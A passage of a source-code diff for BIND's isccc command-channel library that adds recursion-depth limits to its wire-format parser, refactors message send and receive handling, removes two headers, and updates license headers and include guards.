+		result = table_fromwire(&active, NULL, 0, depth + 1, valuep);
 	} else if (msgtype == ISCCC_CCMSGTYPE_LIST) {
-		result = list_fromwire(&active, valuep);
+		result = list_fromwire(&active, depth + 1, valuep);
 	} else {
 		result = ISCCC_R_SYNTAX;
 	}
@@ -525,7 +538,7 @@ value_fromwire(isccc_region_t *source, isccc_sexpr_t **valuep) {
 
 static isc_result_t
 table_fromwire(isccc_region_t *source, isccc_region_t *secret,
-	       uint32_t algorithm, isccc_sexpr_t **alistp) {
+	       uint32_t algorithm, unsigned int depth, isccc_sexpr_t **alistp) {
 	char key[256];
 	uint32_t len;
 	isc_result_t result;
@@ -535,6 +548,10 @@ table_fromwire(isccc_region_t *source, isccc_region_t *secret,
 
 	REQUIRE(alistp != NULL && *alistp == NULL);
 
+	if (depth > ISCCC_MAXDEPTH) {
+		return (ISCCC_R_MAXDEPTH);
+	}
+
 	checksum_rstart = NULL;
 	first_tag = true;
 	alist = isccc_alist_create();
@@ -551,7 +568,7 @@ table_fromwire(isccc_region_t *source, isccc_region_t *secret,
 		GET_MEM(key, len, source->rstart);
 		key[len] = '\0'; /* Ensure NUL termination. */
 		value = NULL;
-		result = value_fromwire(source, &value);
+		result = value_fromwire(source, depth + 1, &value);
 		if (result != ISC_R_SUCCESS) {
 			goto bad;
 		}
@@ -589,14 +606,19 @@ table_fromwire(isccc_region_t *source, isccc_region_t *secret,
 }
 
 static isc_result_t
-list_fromwire(isccc_region_t *source, isccc_sexpr_t **listp) {
+list_fromwire(isccc_region_t *source, unsigned int depth,
+	      isccc_sexpr_t **listp) {
 	isccc_sexpr_t *list, *value;
 	isc_result_t result;
 
+	if (depth > ISCCC_MAXDEPTH) {
+		return (ISCCC_R_MAXDEPTH);
+	}
+
 	list = NULL;
 	while (!REGION_EMPTY(*source)) {
 		value = NULL;
-		result = value_fromwire(source, &value);
+		result = value_fromwire(source, depth + 1, &value);
 		if (result != ISC_R_SUCCESS) {
 			isccc_sexpr_free(&list);
 			return (result);
@@ -628,7 +650,7 @@ isccc_cc_fromwire(isccc_region_t *source, isccc_sexpr_t **alistp,
 		return (ISCCC_R_UNKNOWNVERSION);
 	}
 
-	return (table_fromwire(source, secret, algorithm, alistp));
+	return (table_fromwire(source, secret, algorithm, 0, alistp));
 }
 
 static isc_result_t
@@ -852,7 +874,7 @@ isccc_cc_definestring(isccc_sexpr_t *alist, const char *key, const char *str) {
 	isccc_region_t r;
 
 	len = strlen(str);
-	DE_CONST(str, r.rstart);
+	r.rstart = UNCONST(str);
 	r.rend = r.rstart + len;
 
 	return (isccc_alist_definebinary(alist, key, &r));
@@ -1000,12 +1022,14 @@ isccc_cc_checkdup(isccc_symtab_t *symtab, isccc_sexpr_t *message,
 		_frm = "";
 	} else {
 		_frm = tmp;
+		INSIST(_frm != NULL);
 	}
 	tmp = NULL;
 	if (isccc_cc_lookupstring(_ctrl, "_to", &tmp) != ISC_R_SUCCESS) {
 		_to = "";
 	} else {
 		_to = tmp;
+		INSIST(_to != NULL);
 	}
 	/*
 	 * Ensure there is no newline in any of the strings.  This is so
diff --git a/lib/isccc/ccmsg.c b/lib/isccc/ccmsg.c
index 649b3f332b..f52b039152 100644
--- a/lib/isccc/ccmsg.c
+++ b/lib/isccc/ccmsg.c
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
+ */
+
+/*
+ * Copyright (C) 2001 Nominum, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -34,7 +38,6 @@
 #include <isc/util.h>
 
 #include <isccc/ccmsg.h>
-#include <isccc/events.h>
 
 #define CCMSG_MAGIC	 ISC_MAGIC('C', 'C', 'm', 's')
 #define VALID_CCMSG(foo) ISC_MAGIC_VALID(foo, CCMSG_MAGIC)
@@ -43,37 +46,30 @@ static void
 recv_data(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
 	  void *arg) {
 	isccc_ccmsg_t *ccmsg = arg;
-	size_t size;
 
-	INSIST(VALID_CCMSG(ccmsg));
+	REQUIRE(VALID_CCMSG(ccmsg));
 
-	if (eresult == ISC_R_CANCELED || eresult == ISC_R_EOF) {
-		ccmsg->result = eresult;
-		goto done;
-	} else if (region == NULL && eresult == ISC_R_SUCCESS) {
-		ccmsg->result = ISC_R_EOF;
+	REQUIRE(handle == ccmsg->handle);
+	if (eresult != ISC_R_SUCCESS) {
 		goto done;
-	} else if (eresult != ISC_R_SUCCESS) {
-		ccmsg->result = eresult;
-		goto done;
-	} else {
-		ccmsg->result = eresult;
 	}
 
+	REQUIRE(region != NULL);
+
 	if (!ccmsg->length_received) {
 		if (region->length < sizeof(uint32_t)) {
-			ccmsg->result = ISC_R_UNEXPECTEDEND;
+			eresult = ISC_R_UNEXPECTEDEND;
 			goto done;
 		}
 
 		ccmsg->size = ntohl(*(uint32_t *)region->base);
 
 		if (ccmsg->size == 0) {
-			ccmsg->result = ISC_R_UNEXPECTEDEND;
+			eresult = ISC_R_UNEXPECTEDEND;
 			goto done;
 		}
 		if (ccmsg->size > ccmsg->maxsize) {
-			ccmsg->result = ISC_R_RANGE;
+			eresult = ISC_R_RANGE;
 			goto done;
 		}
 
@@ -92,13 +88,12 @@ recv_data(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
 
 	/* We have some data in the buffer, read it */
 
-	size = ISC_MIN(isc_buffer_availablelength(ccmsg->buffer),
-		       region->length);
+	size_t size = ISC_MIN(isc_buffer_availablelength(ccmsg->buffer),
+			      region->length);
 	isc_buffer_putmem(ccmsg->buffer, region->base, size);
 	isc_region_consume(region, size);
 
 	if (isc_buffer_usedlength(ccmsg->buffer) == ccmsg->size) {
-		ccmsg->result = ISC_R_SUCCESS;
 		goto done;
 	}
 
@@ -106,8 +101,13 @@ recv_data(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
 	return;
 
 done:
-	isc_nm_pauseread(handle);
-	ccmsg->cb(handle, ccmsg->result, ccmsg->cbarg);
+	isc_nm_read_stop(handle);
+	if (ccmsg->reading) {
+		ccmsg->reading = false;
+		ccmsg->recv_cb(handle, eresult, ccmsg->recv_cbarg);
+	}
+
+	return;
 }
 
 void
@@ -121,9 +121,9 @@ isccc_ccmsg_init(isc_mem_t *mctx, isc_nmhandle_t *handle,
 		.magic = CCMSG_MAGIC,
 		.maxsize = 0xffffffffU, /* Largest message possible. */
 		.mctx = mctx,
-		.handle = handle,
-		.result = ISC_R_UNEXPECTED /* None yet. */
 	};
+
+	isc_nmhandle_attach(handle, &ccmsg->handle);
 }
 
 void
@@ -141,27 +141,42 @@ isccc_ccmsg_readmessage(isccc_ccmsg_t *ccmsg, isc_nm_cb_t cb, void *cbarg) {
 		isc_buffer_free(&ccmsg->buffer);
 	}
 
-	ccmsg->cb = cb;
-	ccmsg->cbarg = cbarg;
-	ccmsg->result = ISC_R_UNEXPECTED; /* unknown right now */
+	ccmsg->recv_cb = cb;
+	ccmsg->recv_cbarg = cbarg;
 	ccmsg->length_received = false;
 
-	if (ccmsg->reading) {
-		isc_nm_resumeread(ccmsg->handle);
-	} else {
-		isc_nm_read(ccmsg->handle, recv_data, ccmsg);
-		ccmsg->reading = true;
+	ccmsg->reading = true;
+	isc_nm_read(ccmsg->handle, recv_data, ccmsg);
+}
+
+static void
+ccmsg_senddone(isc_nmhandle_t *handle, isc_result_t eresult, void *arg) {
+	isccc_ccmsg_t *ccmsg = arg;
+
+	REQUIRE(VALID_CCMSG(ccmsg));
+
+	INSIST(ccmsg->send_cb != NULL);
+	ccmsg->send_cb(handle, eresult, ccmsg->send_cbarg);
+	ccmsg->send_cb = NULL;
+
+	if (eresult != ISC_R_SUCCESS && ccmsg->reading) {
+		recv_data(handle, eresult, NULL, ccmsg);
 	}
+
+	isc_nmhandle_detach(&handle);
 }
 
 void
-isccc_ccmsg_cancelread(isccc_ccmsg_t *ccmsg) {
+isccc_ccmsg_sendmessage(isccc_ccmsg_t *ccmsg, isc_region_t *region,
+			isc_nm_cb_t cb, void *cbarg) {
 	REQUIRE(VALID_CCMSG(ccmsg));
+	REQUIRE(ccmsg->send_cb == NULL);
 
-	if (ccmsg->reading) {
-		isc_nm_cancelread(ccmsg->handle);
-		ccmsg->reading = false;
-	}
+	ccmsg->send_cb = cb;
+	ccmsg->send_cbarg = cbarg;
+
+	isc_nmhandle_ref(ccmsg->handle);
+	isc_nm_send(ccmsg->handle, region, ccmsg_senddone, ccmsg);
 }
 
 void
@@ -173,4 +188,16 @@ isccc_ccmsg_invalidate(isccc_ccmsg_t *ccmsg) {
 	if (ccmsg->buffer != NULL) {
 		isc_buffer_free(&ccmsg->buffer);
 	}
+	if (ccmsg->handle != NULL) {
+		isc_nmhandle_close(ccmsg->handle);
+		isc_nmhandle_detach(&ccmsg->handle);
+	}
+}
+
+void
+isccc_ccmsg_toregion(isccc_ccmsg_t *ccmsg, isccc_region_t *ccregion) {
+	REQUIRE(VALID_CCMSG(ccmsg));
+
+	ccregion->rstart = isc_buffer_base(ccmsg->buffer);
+	ccregion->rend = isc_buffer_used(ccmsg->buffer);
 }
diff --git a/lib/isccc/include/isccc/alist.h b/lib/isccc/include/isccc/alist.h
index 06d1855949..dc7004434f 100644
--- a/lib/isccc/include/isccc/alist.h
+++ b/lib/isccc/include/isccc/alist.h
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
+ */
+
+/*
+ * Copyright (C) 2001 Nominum, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -23,8 +27,7 @@
  * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
  */
 
-#ifndef ISCCC_ALIST_H
-#define ISCCC_ALIST_H 1
+#pragma once
 
 /*! \file isccc/alist.h */
 
@@ -81,5 +84,3 @@ isccc_alist_prettyprint(isccc_sexpr_t *sexpr, unsigned int indent,
 			FILE *stream);
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISCCC_ALIST_H */
diff --git a/lib/isccc/include/isccc/base64.h b/lib/isccc/include/isccc/base64.h
index d9cd5c919e..641dd4e003 100644
--- a/lib/isccc/include/isccc/base64.h
+++ b/lib/isccc/include/isccc/base64.h
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
+ */
+
+/*
+ * Copyright (C) 2001 Nominum, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -23,8 +27,7 @@
  * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
  */
 
-#ifndef ISCCC_BASE64_H
-#define ISCCC_BASE64_H 1
+#pragma once
 
 /*! \file isccc/base64.h */
 
@@ -74,5 +77,3 @@ isccc_base64_decode(const char *cstr, isccc_region_t *target);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISCCC_BASE64_H */
diff --git a/lib/isccc/include/isccc/cc.h b/lib/isccc/include/isccc/cc.h
index fcb7fc2f5c..1fc094f37a 100644
--- a/lib/isccc/include/isccc/cc.h
+++ b/lib/isccc/include/isccc/cc.h
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
+ */
+
+/*
+ * Copyright (C) 2001 Nominum, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -23,8 +27,7 @@
  * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
  */
 
-#ifndef ISCCC_CC_H
-#define ISCCC_CC_H 1
+#pragma once
 
 /*! \file isccc/cc.h */
 
@@ -34,19 +37,23 @@
 #include <isc/buffer.h>
 #include <isc/lang.h>
 
+#include <dst/dst.h>
+
 #include <isccc/types.h>
 
 ISC_LANG_BEGINDECLS
 
-/*% from lib/dns/include/dst/dst.h */
-
+/*%
+ * The HMAC algorithms supported by isccc_cc_fromwire and
+ * isccc_cc_towire as implemented in DST.
+ */
 #define ISCCC_ALG_UNKNOWN    0
-#define ISCCC_ALG_HMACMD5    157
-#define ISCCC_ALG_HMACSHA1   161
-#define ISCCC_ALG_HMACSHA224 162
-#define ISCCC_ALG_HMACSHA256 163
-#define ISCCC_ALG_HMACSHA384 164
-#define ISCCC_ALG_HMACSHA512 165
+#define ISCCC_ALG_HMACMD5    DST_ALG_HMACMD5
+#define ISCCC_ALG_HMACSHA1   DST_ALG_HMACSHA1
+#define ISCCC_ALG_HMACSHA224 DST_ALG_HMACSHA224
+#define ISCCC_ALG_HMACSHA256 DST_ALG_HMACSHA256
+#define ISCCC_ALG_HMACSHA384 DST_ALG_HMACSHA384
+#define ISCCC_ALG_HMACSHA512 DST_ALG_HMACSHA512
 
 /*% Maximum Datagram Package */
 // OQS updated from 4096 to 8192
@@ -124,5 +131,3 @@ isccc_cc_checkdup(isccc_symtab_t *symtab, isccc_sexpr_t *message,
 		  isccc_time_t now);
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISCCC_CC_H */
diff --git a/lib/isccc/include/isccc/ccmsg.h b/lib/isccc/include/isccc/ccmsg.h
index c5ea35d088..8404252a56 100644
--- a/lib/isccc/include/isccc/ccmsg.h
+++ b/lib/isccc/include/isccc/ccmsg.h
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
+ */
+
+/*
+ * Copyright (C) 2001 Nominum, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -23,8 +27,7 @@
  * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
  */
 
-#ifndef ISCCC_CCMSG_H
-#define ISCCC_CCMSG_H 1
+#pragma once
 
 /*! \file isccc/ccmsg.h */
 
@@ -35,21 +38,23 @@
 #include <isc/netmgr.h>
 #include <isc/sockaddr.h>
 
+#include <isccc/types.h>
+
 /*% ISCCC Message Structure */
 typedef struct isccc_ccmsg {
 	/* private (don't touch!) */
 	unsigned int	magic;
 	uint32_t	size;
 	bool		length_received;
-	isc_buffer_t *	buffer;
+	isc_buffer_t   *buffer;
 	unsigned int	maxsize;
-	isc_mem_t *	mctx;
+	isc_mem_t      *mctx;
 	isc_nmhandle_t *handle;
-	isc_nm_cb_t	cb;
-	void *		cbarg;
+	isc_nm_cb_t	recv_cb;
+	void	       *recv_cbarg;
+	isc_nm_cb_t	send_cb;
+	void	       *send_cbarg;
 	bool		reading;
-	/* public (read-only) */
-	isc_result_t result;
 } isccc_ccmsg_t;
 
 ISC_LANG_BEGINDECLS
@@ -106,14 +111,12 @@ isccc_ccmsg_readmessage(isccc_ccmsg_t *ccmsg, isc_nm_cb_t cb, void *cbarg);
  */
 
 void
-isccc_ccmsg_cancelread(isccc_ccmsg_t *ccmsg);
+isccc_ccmsg_sendmessage(isccc_ccmsg_t *ccmsg, isc_region_t *region,
+			isc_nm_cb_t cb, void *cbarg);
 /*%
- * Cancel a readmessage() call.  The event will still be posted with a
- * CANCELED result code.
+ * Sends region over the command channel message.
  *
- * Requires:
- *
- *\li	"ccmsg" be valid.
+ * CAVEAT: Only a single send message can be scheduled at the time.
  */
 
 void
@@ -131,6 +134,7 @@ isccc_ccmsg_invalidate(isccc_ccmsg_t *ccmsg);
  *	sockets, etc.
  */
 
-ISC_LANG_ENDDECLS
+void
+isccc_ccmsg_toregion(isccc_ccmsg_t *ccmsg, isccc_region_t *ccregion);
 
-#endif /* ISCCC_CCMSG_H */
+ISC_LANG_ENDDECLS
diff --git a/lib/isccc/include/isccc/events.h b/lib/isccc/include/isccc/events.h
deleted file mode 100644
index ff2a65a879..0000000000
--- a/lib/isccc/include/isccc/events.h
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
- *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC AND NOMINUM DISCLAIMS ALL
- * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES
- * OF MERCHANTABILITY AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY
- * SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
- * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
- * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
- * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-#ifndef ISCCC_EVENTS_H
-#define ISCCC_EVENTS_H 1
-
-/*! \file isccc/events.h */
-
-#include <isc/eventclass.h>
-
-/*%
- * Registry of ISCCC event numbers.
- */
-
-#define ISCCC_EVENT_CCMSG (ISC_EVENTCLASS_ISCCC + 0)
-
-#define ISCCC_EVENT_FIRSTEVENT (ISC_EVENTCLASS_ISCCC + 0)
-#define ISCCC_EVENT_LASTEVENT  (ISC_EVENTCLASS_ISCCC + 65535)
-
-#endif /* ISCCC_EVENTS_H */
diff --git a/lib/isccc/include/isccc/result.h b/lib/isccc/include/isccc/result.h
deleted file mode 100644
index 5346babefc..0000000000
--- a/lib/isccc/include/isccc/result.h
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
- *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC AND NOMINUM DISCLAIMS ALL
- * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES
- * OF MERCHANTABILITY AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY
- * SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
- * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
- * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
- * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-#ifndef ISCCC_RESULT_H
-#define ISCCC_RESULT_H 1
-
-/*! \file isccc/result.h */
-
-#include <isc/lang.h>
-#include <isc/result.h>
-#include <isc/resultclass.h>
-
-#include <isccc/types.h>
-
-/*% Unknown Version */
-#define ISCCC_R_UNKNOWNVERSION (ISC_RESULTCLASS_ISCCC + 0)
-/*% Syntax Error */
-#define ISCCC_R_SYNTAX (ISC_RESULTCLASS_ISCCC + 1)
-/*% Bad Authorization */
-#define ISCCC_R_BADAUTH (ISC_RESULTCLASS_ISCCC + 2)
-/*% Expired */
-#define ISCCC_R_EXPIRED (ISC_RESULTCLASS_ISCCC + 3)
-/*% Clock Skew */
-#define ISCCC_R_CLOCKSKEW (ISC_RESULTCLASS_ISCCC + 4)
-/*% Duplicate */
-#define ISCCC_R_DUPLICATE (ISC_RESULTCLASS_ISCCC + 5)
-
-#define ISCCC_R_NRESULTS 6 /*%< Number of results */
-
-ISC_LANG_BEGINDECLS
-
-const char *
-isccc_result_totext(isc_result_t result);
-/*%
- * Convert a isccc_result_t into a string message describing the result.
- */
-
-void
-isccc_result_register(void);
-
-ISC_LANG_ENDDECLS
-
-#endif /* ISCCC_RESULT_H */
diff --git a/lib/isccc/include/isccc/sexpr.h b/lib/isccc/include/isccc/sexpr.h
index d03572bb05..133d06d869 100644
--- a/lib/isccc/include/isccc/sexpr.h
+++ b/lib/isccc/include/isccc/sexpr.h
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
+ */
+
+/*
+ * Copyright (C) 2001 Nominum, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -23,8 +27,7 @@
  * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
  */
 
-#ifndef ISCCC_SEXPR_H
-#define ISCCC_SEXPR_H 1
+#pragma once
 
 /*! \file isccc/sexpr.h */
 
@@ -47,7 +50,7 @@ struct isccc_dottedpair {
 struct isccc_sexpr {
 	unsigned int type;
 	union {
-		char *		   as_string;
+		char		  *as_string;
 		isccc_dottedpair_t as_dottedpair;
 		isccc_region_t	   as_region;
 	} value;
@@ -114,5 +117,3 @@ isccc_region_t *
 isccc_sexpr_tobinary(isccc_sexpr_t *sexpr);
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISCCC_SEXPR_H */
diff --git a/lib/isccc/include/isccc/symtab.h b/lib/isccc/include/isccc/symtab.h
index d93ce66bd2..a156c061b7 100644
--- a/lib/isccc/include/isccc/symtab.h
+++ b/lib/isccc/include/isccc/symtab.h
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
+ */
+
+/*
+ * Copyright (C) 2001 Nominum, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -23,8 +27,7 @@
  * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
  */
 
-#ifndef ISCCC_SYMTAB_H
-#define ISCCC_SYMTAB_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -81,18 +84,18 @@
  ***/
 
 typedef union isccc_symvalue {
-	void *	     as_pointer;
+	void	    *as_pointer;
 	int	     as_integer;
 	unsigned int as_uinteger;
 } isccc_symvalue_t;
 
 typedef void (*isccc_symtabundefaction_t)(char *key, unsigned int type,
 					  isccc_symvalue_t value,
-					  void *	   userarg);
+					  void		  *userarg);
 
 typedef bool (*isccc_symtabforeachaction_t)(char *key, unsigned int type,
 					    isccc_symvalue_t value,
-					    void *	     userarg);
+					    void	    *userarg);
 
 typedef enum {
 	isccc_symexists_reject = 0,
@@ -128,5 +131,3 @@ isccc_symtab_foreach(isccc_symtab_t *symtab, isccc_symtabforeachaction_t action,
 		     void *arg);
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISCCC_SYMTAB_H */
diff --git a/lib/isccc/include/isccc/symtype.h b/lib/isccc/include/isccc/symtype.h
index feafa66e74..8e67eda014 100644
--- a/lib/isccc/include/isccc/symtype.h
+++ b/lib/isccc/include/isccc/symtype.h
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
+ */
+
+/*
+ * Copyright (C) 2001 Nominum, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -23,8 +27,7 @@
  * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
  */
 
-#ifndef ISCCC_SYMTYPE_H
-#define ISCCC_SYMTYPE_H 1
+#pragma once
 
 /*! \file isccc/symtype.h */
 
@@ -32,5 +35,3 @@
 #define ISCCC_SYMTYPE_CCDUP	   0x0002
 #define ISCCC_SYMTYPE_TELLSERVICE  0x0003
 #define ISCCC_SYMTYPE_TELLRESPONSE 0x0004
-
-#endif /* ISCCC_SYMTYPE_H */
diff --git a/lib/isccc/include/isccc/types.h b/lib/isccc/include/isccc/types.h
index 0b1bf74271..f2032a7652 100644
--- a/lib/isccc/include/isccc/types.h
+++ b/lib/isccc/include/isccc/types.h
@@ -1,14 +1,18 @@
 /*
  * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
+ */
+
+/*
+ * Copyright (C) 2001 Nominum, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -23,8 +27,7 @@
  * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
  */
 
-#ifndef ISCCC_TYPES_H
-#define ISCCC_TYPES_H 1
+#pragma once
 
 /*! \file isccc/types.h */
 
@@ -47,5 +50,3 @@ typedef struct isccc_region {
 	unsigned char *rstart;
 	unsigned char *rend;
 } isccc_region_t;
-
-#endif /* ISCCC_TYPES_H */
diff --git a/lib/isccc/include/isccc/util.h b/lib/isccc/include/isccc/util.h
index 2768522f62..546b6334eb 100644
--- a/lib/isccc/include/isccc/util.h
+++ b/lib/isccc/include/isccc/util.h
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
+ */
+
+/*
+ * Copyright (C) 2001 Nominum, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -23,8 +27,7 @@
  * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
  */
 
-#ifndef ISCCC_UTIL_H
-#define ISCCC_UTIL_H 1
+#pragma once
 
 #include <inttypes.h>
